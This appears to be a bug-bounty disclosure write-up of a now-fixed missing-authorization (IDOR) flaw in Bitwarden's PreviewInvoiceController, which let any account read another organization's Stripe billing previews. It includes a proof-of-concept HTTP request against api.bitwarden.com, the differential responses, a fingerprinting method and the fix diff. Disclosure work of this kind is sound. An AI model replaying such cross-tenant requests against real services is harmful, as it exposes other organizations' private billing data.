cd ../blog
cat /var/log/exploits/bitwarden-preview-invoice-idor.md

# Bitwarden: PreviewInvoiceController Missing Authorization — Cross-Org Billing Disclosure

MEDIUM
May 30, 2026
[5 min read]
BitwardenBug BountyAuthorizationIDORBillingHackerOneCVE Pending

Bitwarden: PreviewInvoiceController Leaks Any Org's Billing Data

[InjectOrganization] loaded the organization. It never checked you were in it.

Fifth writeup in my Bitwarden series. An action filter that looked like an authorization check but only verified the organization *existed* — letting any authenticated account read any organization's Stripe-computed billing data by GUID.

  • Vendor: Bitwarden
  • Product: bitwarden/server
  • Severity: Medium (CVSS 4.3)
  • CVE: Pending — requesting one for this issue
  • Report: HackerOne #3650476
  • Fix: PR #7583 — commit `0a3d9f9d`
  • Fixed in: server release `2026.5.0` (2026-05-29) — Cloud + self-hosted

//TL;DR

PreviewInvoiceController has two organization-scoped endpoints:

text
POST /billing/preview-invoice/organizations/{organizationId}/subscription/plan-change
PUT  /billing/preview-invoice/organizations/{organizationId}/subscription/update

Both are gated by [Authorize("Application")] (any authenticated user) plus [InjectOrganization]. The catch: [InjectOrganization] is an action filter that loads the Organization by route id, 404s if it doesn't exist, and injects it — and that's *all* it does. It never checks the caller is a member, has a role, or has billing permission.

So any authenticated account — a free, zero-org account included — can pass an arbitrary organizationId and have the server run Stripe invoice previews against that org's real customer and subscription IDs, handing back its tax and total amounts (and, by inference, subscription status, seat count, discounts, and tax jurisdiction).


//The vulnerable code

The same codebase already had the correct pattern. OrganizationBillingVNextController decorates its [InjectOrganization] endpoints with an org-level authorization requirement:

csharp
// OrganizationBillingVNextController.cs — correct
[Authorize<ManageOrganizationBillingRequirement>]
[HttpGet("address")]
[InjectOrganization]
public async Task<IResult> GetBillingAddressAsync(...)

PreviewInvoiceController didn't:

csharp
// PreviewInvoiceController.cs — vulnerable (no org authorization)
[HttpPost("organizations/{organizationId:guid}/subscription/plan-change")]
[InjectOrganization]
public async Task<IResult> PreviewOrganizationSubscriptionPlanChangeTaxAsync(...)

[InjectOrganization] resolves {organizationId} straight from the route, loads the entity, and hands it to the action. From there PreviewOrganizationTaxCommand reads organization.GatewayCustomerId and organization.GatewaySubscriptionId and calls Stripe (GetSubscriptionAsync, CreateInvoicePreviewAsync) — all on a victim org the caller has no relationship to. Existence was checked; authorization never was.


//Proof on Cloud

A single plan-change request with a non-member's token returns live billing numbers:

http
POST /billing/preview-invoice/organizations/<victim-org-id>/subscription/plan-change HTTP/2
Host: api.bitwarden.com
Authorization: Bearer <attacker-token>
Content-Type: application/json

{"plan":{"tier":"Teams","cadence":"annually"},"billingAddress":{"country":"US","postalCode":"10001"}}
json
{ "tax": 21.3, "total": 261.3 }

The cleanest confirmation is differential: same attacker token, same victim org, only the endpoint changes. The properly-guarded billing endpoint denies; the preview endpoints don't.

text
attacker: free account, 0 orgs    victim: <victim-org-id> (no membership)

baseline  GET  /organizations/{org}/billing/vnext/address  → 403 DENIED   ✓ (correct)

exploit   POST /subscription/plan-change  (Families)        → 200  tax 4.25   total 52.13    ✗
exploit   POST /subscription/plan-change  (Teams)           → 200  tax 21.3   total 261.3    ✗
exploit   POST /subscription/plan-change  (Enterprise)      → 200  tax 38.34  total 470.34   ✗
exploit   PUT  /subscription/update                         → 400  "Organization does not
                                                                    have a subscription."    ✗

The 403 on billing/vnext/address proves the access boundary exists and is enforced elsewhere; the 200/400 on the preview endpoints prove it's missing here. Even the 400 leaks — it discloses whether the target org carries an active paid subscription. Varying tier and cadence across requests lets an attacker fingerprint a victim org's seat count, plan, discounts, and tax jurisdiction from the returned amounts, with no org membership at any point.


//The fix

Commit `0a3d9f9d` (PR #7583), shipped in 2026.5.0. Exactly the missing attribute, added to both endpoints:

diff
+ [Authorize<ManageOrganizationBillingRequirement>]
  [HttpPost("organizations/{organizationId:guid}/subscription/plan-change")]
  [InjectOrganization]
  public async Task<IResult> PreviewOrganizationSubscriptionPlanChangeTaxAsync(...)

+ [Authorize<ManageOrganizationBillingRequirement>]
  [HttpPut("organizations/{organizationId:guid}/subscription/update")]
  [InjectOrganization]
  public async Task<IResult> PreviewOrganizationSubscriptionUpdateTaxAsync(...)

Now the same ManageOrganizationBillingRequirement that protects OrganizationBillingVNextController runs first, so a non-member gets 403 before any Stripe call happens. Integration tests covering both endpoints landed in the same PR.


//Disclosure timeline

All times UTC.

  • 2026-04-05 — Report submitted to HackerOne (#3650476) with a PoC confirming both endpoints on api.bitwarden.com.
  • 2026-04-06 — Reproduced and triaged (Medium severity).
  • 2026-05-05 — Fix merged to main: PR #7583, commit 0a3d9f9d.
  • 2026-05-29 — Shipped in server release 2026.5.0; report resolved with bounty.

//Takeaways

  • An action filter that loads a resource by route id is not an authorization check. [InjectOrganization] confirmed the org *existed* and handed it over; "can this caller touch it?" was never asked. Resolving an object and authorizing access to it are two different steps — don't let the first stand in for the second.
  • When a controller is missing a guard its sibling has, that's the finding. OrganizationBillingVNextController carried [Authorize<ManageOrganizationBillingRequirement>]; PreviewInvoiceController didn't, for the same kind of endpoint. Diffing two implementations of one pattern is one of the fastest ways to surface a missing-authorization bug.
  • A read-only "preview" still leaks. Tax and total amounts — and even an error string about subscription status — are enough to fingerprint another tenant's billing, and each request spends the victim org's Stripe customer/subscription on the server's dime.

Thanks to @mandreko-bitwarden and the Bitwarden security team for the quick triage and fix.

@thesanjok

[EOF]